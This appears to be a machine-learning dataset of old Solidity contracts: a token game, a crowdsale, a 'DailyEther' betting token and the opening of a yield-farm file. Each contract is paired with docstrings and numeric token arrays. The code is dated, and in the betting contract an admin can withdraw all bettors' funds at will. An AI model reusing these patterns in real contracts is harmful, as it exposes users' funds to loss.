return elementCTR;
}
function getTotalScientists() public view returns (uint256) {
return scientistCTR;
}
function getTotalSpecials() public view returns (uint256) {
return specialCTR;
}
//**** HELPERS for changing prices limits and steps if it would be bad, community would like different
function changeStartingPricesLimits(uint256 _elementStartPrice, uint256 _scientistStartPrice, uint256 _specialStartPrice) public onlyCEO {
elementStartingPrice = _elementStartPrice;
scientistStartingPrice = _scientistStartPrice;
specialStartingPrice = _specialStartPrice;
}
function changeStepPricesLimits(uint256 _first, uint256 _second, uint256 _third) public onlyCEO {
firstStepLimit = _first;
secondStepLimit = _second;
thirdStepLimit = _third;
}
// in case of error when assigning scientist to given element
function changeScientistForElement(uint256 _tokenId, uint256 _scientistId) public onlyCEO {
Element storage element = elements[_tokenId];
element.scientistId = SafeMath.add(_scientistId, scientistSTART);
}
function changeElementName(uint256 _tokenId, string _name) public onlyCEO {
Element storage element = elements[_tokenId];
element.name = _name;
}
// This function can be used by the owner of a token to modify the current price
function modifyTokenPrice(uint256 _tokenId, uint256 _newPrice) public payable {
require(_newPrice > elementStartingPrice);
require(elementIndexToOwner[_tokenId] == msg.sender);
require(_newPrice < elementIndexToPrice[_tokenId]);
if ( _tokenId == 0) {
require(_newPrice > periodicStartingPrice);
} else if ( _tokenId < 1000) {
require(_newPrice > elementStartingPrice);
} else if ( _tokenId < 10000 ) {
require(_newPrice > scientistStartingPrice);
} else {
require(_newPrice > specialStartingPrice);
}
elementIndexToPrice[_tokenId] = _newPrice;
}
// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
// @dev Assigns ownership of a specific Element to an address.
function _transfer(address _from, address _to, uint256 _tokenId) private {
// Since the number of elements is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
//transfer ownership
elementIndexToOwner[_tokenId] = _to;
// When creating new elements _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete elementIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | Third-party initiates transfer of token from address _from to address _to @param _from The address for the token to be transferred from. @param _to The address for the token to be transferred to. @param _tokenId The ID of the Token that can be transferred if this call succeeds. @dev Required for ERC-721 compliance. | function transferFrom( address _from, address _to, uint256 _tokenId) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
| 5,503,534 | [
1,
24694,
17,
21214,
1208,
16020,
7412,
434,
1147,
628,
1758,
389,
2080,
358,
1758,
389,
869,
225,
389,
2080,
1021,
1758,
364,
326,
1147,
358,
506,
906,
4193,
628,
18,
225,
389,
869,
1021,
1758,
364,
326,
1147,
358,
506,
906,
4193,
358,
18,
225,
389,
2316,
548,
1021,
1599,
434,
326,
3155,
716,
848,
506,
906,
4193,
309,
333,
745,
21933,
18,
225,
10647,
364,
4232,
39,
17,
27,
5340,
29443,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
282,
202,
915,
7412,
1265,
12,
1758,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
2316,
548,
13,
1071,
288,
203,
377,
202,
6528,
24899,
995,
87,
24899,
2080,
16,
389,
2316,
548,
10019,
203,
377,
202,
6528,
24899,
25990,
24899,
869,
16,
389,
2316,
548,
10019,
203,
377,
202,
6528,
24899,
2867,
5962,
24899,
869,
10019,
203,
377,
202,
67,
13866,
24899,
2080,
16,
389,
869,
16,
389,
2316,
548,
1769,
203,
282,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.15;
import 'zeppelin-solidity/contracts/token/MintableToken.sol';
import 'zeppelin-solidity/contracts/math/SafeMath.sol';
/// @title Crowdsale contract to carry out an ICO with the HomeToken
/// Crowdsales have a start and end timestamps, where investors can make
/// token purchases and the crowdsale will assign them tokens based
/// on a token per ETH rate. Funds collected are forwarded to a wallet
/// as they arrive.
/// @author Merunas Grincalaitis <[email protected]>
contract Crowdsale is MintableToken {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// The block number of when the crowdsale starts
uint256 public startTime;
// The block number of when the crowdsale ends
uint256 public endTime;
// The wallet that holds the Wei raised on the crowdsale
address public wallet;
// How many tokens you get per Wei
uint256 public rate;
// The amount of wei raised
uint256 public weiRaised;
// The minimum amount of Wei you must pay to participate in the crowdsale
uint256 public minPurchase;
// The max amount of Wei that you can pay to participate in the crowdsale
uint256 public maxPurchase;
// To indicate who purchased what amount of tokens and who received what amount of wei
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/// @notice Constructor of the crowsale to set up the main variables and create a token
/// @param _startTime When the crowdsale starts
/// @param _endTime When the crowdsale ends
/// @param _rate How much tokens you get per Wei
/// @param _wallet The wallet that stores the Wei raised
function Crowdsale(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _minPurchase,
uint256 _maxPurchase,
address _tokenAddress
) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = MintableToken(_tokenAddress);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
minPurchase = _minPurchase;
maxPurchase = _maxPurchase;
}
/// @notice Fallback function to buy tokens
function () payable {
buyTokens(msg.sender);
}
/// @notice To buy tokens given an address
/// @param beneficiary The address that will get the tokens
function buyTokens(address beneficiary) payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// Calculate the amount of tokens that will be generated for that amount of Wei
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
/// @notice Sends the payment from the buyer to the crowdsale seller
function forwardFunds() internal {
wallet.transfer(msg.value);
}
/// @notice Checks if a purchase is considered valid
/// @return bool If the purchase is valid or not
function validPurchase() internal constant returns(bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value > 0;
return withinPeriod && nonZeroPurchase;
}
/// @notice Public function to check if the crowdsale has ended or not
function hasEnded() public constant returns(bool) {
return now > endTime;
}
}
| @notice Constructor of the crowsale to set up the main variables and create a token @param _startTime When the crowdsale starts @param _endTime When the crowdsale ends @param _rate How much tokens you get per Wei @param _wallet The wallet that stores the Wei raised | ) {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = MintableToken(_tokenAddress);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
minPurchase = _minPurchase;
maxPurchase = _maxPurchase;
}
| 5,446,625 | [
1,
6293,
434,
326,
276,
3870,
5349,
358,
444,
731,
326,
2774,
3152,
471,
752,
279,
1147,
225,
389,
1937,
950,
5203,
326,
276,
492,
2377,
5349,
2542,
225,
389,
409,
950,
5203,
326,
276,
492,
2377,
5349,
3930,
225,
389,
5141,
9017,
9816,
2430,
1846,
336,
1534,
1660,
77,
225,
389,
19177,
1021,
9230,
716,
9064,
326,
1660,
77,
11531,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
282,
262,
288,
203,
1377,
2583,
24899,
1937,
950,
1545,
2037,
1769,
203,
1377,
2583,
24899,
409,
950,
1545,
389,
1937,
950,
1769,
203,
1377,
2583,
24899,
5141,
405,
374,
1769,
203,
1377,
2583,
24899,
19177,
480,
1758,
12,
20,
10019,
203,
203,
1377,
1147,
273,
490,
474,
429,
1345,
24899,
2316,
1887,
1769,
203,
1377,
8657,
273,
389,
1937,
950,
31,
203,
1377,
13859,
273,
389,
409,
950,
31,
203,
1377,
4993,
273,
389,
5141,
31,
203,
1377,
9230,
273,
389,
19177,
31,
203,
1377,
1131,
23164,
273,
389,
1154,
23164,
31,
203,
1377,
943,
23164,
273,
389,
1896,
23164,
31,
203,
282,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
// function ownerOf(uint256 _tokenId) public view returns (address addr);
// function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
// function transferFrom(address _from, address _to, uint256 _tokenId) public;
// function transfer(address _to, uint256 _tokenId) public;
// event Transfer(address indexed from, address indexed to, uint256 tokenId);
// event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract DailyEtherToken is ERC721 {
/*** EVENTS ***/
/// @dev Birth event fired whenever a new token is created
event Birth(uint256 tokenId, string name, address owner);
/// @dev TokenSold event fired whenever a token is sold
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in ERC721. Ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "DailyEther"; // solhint-disable-line
string public constant SYMBOL = "DailyEtherToken"; // solhint-disable-line
uint256 private ticketPrice = 0.2 ether;
string private betTitle = ""; // Title of bet
uint256 private answerID = 0; // The correct answer id, set when the bet is closed
// A bet can have the following states:
// Opened -- Accepting new bets
// Locked -- Not accepting new bets, waiting for final results
// Closed -- Bet completed, results announced and payout completed for winners
bool isLocked = false;
bool isClosed = false;
/*** STORAGE ***/
// Used to implement proper ERC721 implementation
mapping (address => uint256) private addressToBetCount;
// Holds the number of participants who placed a bet on specific answer
mapping (uint256 => uint256) private answerIdToParticipantsCount;
// Addresses of the accounts (or contracts) that can execute actions within each roles.
address public roleAdminAddress;
/*** DATATYPES ***/
struct Participant {
address user_address;
uint256 answer_id;
}
Participant[] private participants;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for Admin-only
modifier onlyAdmin() {
require(msg.sender == roleAdminAddress);
_;
}
/*** CONSTRUCTOR ***/
function DailyEtherToken() public {
roleAdminAddress = msg.sender;
}
/*** PUBLIC FUNCTIONS ***/
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
) public {
// Caller must own token.
require(false);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return addressToBetCount[_owner];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
function payout(address _to) public onlyAdmin {
_payout(_to);
}
/// @notice Returns all the relevant information about a specific participant.
function getParticipant(uint256 _index) public view returns (
address participantAddress,
uint256 participantAnswerId
) {
Participant storage p = participants[_index];
participantAddress = p.user_address;
participantAnswerId = p.answer_id;
}
// Called to close the bet. Sets the correct bet answer and sends payouts to
// the bet winners
function closeBet(uint256 _answerId) public onlyAdmin {
// Make sure bet is Locked
require(isLocked == true);
// Make sure bet was not closed already
require(isClosed == false);
// Store correct answer id
answerID = _answerId;
// Calculate total earnings to send winners
uint256 totalPrize = uint256(SafeMath.div(SafeMath.mul((ticketPrice * participants.length), 94), 100));
// Calculate the prize we need to transfer per winner
uint256 paymentPerParticipant = uint256(SafeMath.div(totalPrize, answerIdToParticipantsCount[_answerId]));
// Mark contract as closed so we won't close it again
isClosed = true;
// Transfer the winning amount to each of the winners
for(uint i=0; i<participants.length; i++)
{
if (participants[i].answer_id == _answerId) {
if (participants[i].user_address != address(this)) {
participants[i].user_address.transfer(paymentPerParticipant);
}
}
}
}
// Allows someone to send ether and obtain the token
function bet(uint256 _answerId) public payable {
// Make sure bet accepts new bets
require(isLocked == false);
// Answer ID not allowed to be 0, check it is 1 or greater
require(_answerId >= 1);
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= ticketPrice);
// Store new bet
Participant memory _p = Participant({
user_address: msg.sender,
answer_id: _answerId
});
participants.push(_p);
addressToBetCount[msg.sender]++;
// Increase the count of participants who placed their bet on this answer
answerIdToParticipantsCount[_answerId]++;
}
// Returns the ticket price for the bet
function getTicketPrice() public view returns (uint256 price) {
return ticketPrice;
}
// Returns the bet title
function getBetTitle() public view returns (string title) {
return betTitle;
}
/// @dev Assigns a new address to act as the Admin
/// @param _newAdmin The address of the new Admin
function setAdmin(address _newAdmin) public onlyAdmin {
require(_newAdmin != address(0));
roleAdminAddress = _newAdmin;
}
// Inits the bet data
function initBet(uint256 _ticketPriceWei, string _betTitle) public onlyAdmin {
ticketPrice = _ticketPriceWei;
betTitle = _betTitle;
}
// Called to lock bet, new participants can no longer join
function lockBet() public onlyAdmin {
isLocked = true;
}
// Called to lock bet, new participants can no longer join
function isBetLocked() public view returns (bool) {
return isLocked;
}
// Called to lock bet, new participants can no longer join
function isBetClosed() public view returns (bool) {
return isClosed;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// Returns the total of bets in contract
function totalSupply() public view returns (uint256 total) {
return participants.length;
}
/*** PRIVATE FUNCTIONS ***/
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
roleAdminAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | @notice Returns all the relevant information about a specific participant. | function getParticipant(uint256 _index) public view returns (
address participantAddress,
uint256 participantAnswerId
) {
Participant storage p = participants[_index];
participantAddress = p.user_address;
participantAnswerId = p.answer_id;
}
| 942,729 | [
1,
1356,
777,
326,
9368,
1779,
2973,
279,
2923,
14188,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
13657,
14265,
12,
11890,
5034,
389,
1615,
13,
1071,
1476,
1135,
261,
203,
565,
1758,
14188,
1887,
16,
203,
565,
2254,
5034,
14188,
13203,
548,
203,
225,
262,
288,
203,
565,
31333,
2502,
293,
273,
22346,
63,
67,
1615,
15533,
203,
565,
14188,
1887,
273,
293,
18,
1355,
67,
2867,
31,
203,
565,
14188,
13203,
548,
273,
293,
18,
13490,
67,
350,
31,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
*visit: https://beerhouse.farm
*Telegram: https://t.me/BeerHousefarm
*Start : Block 10965437
*Bonus END: Block 11023037
*Bonus Multiplyer: 4x
*Deployer: Omega Protocol Ltd.
*/
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
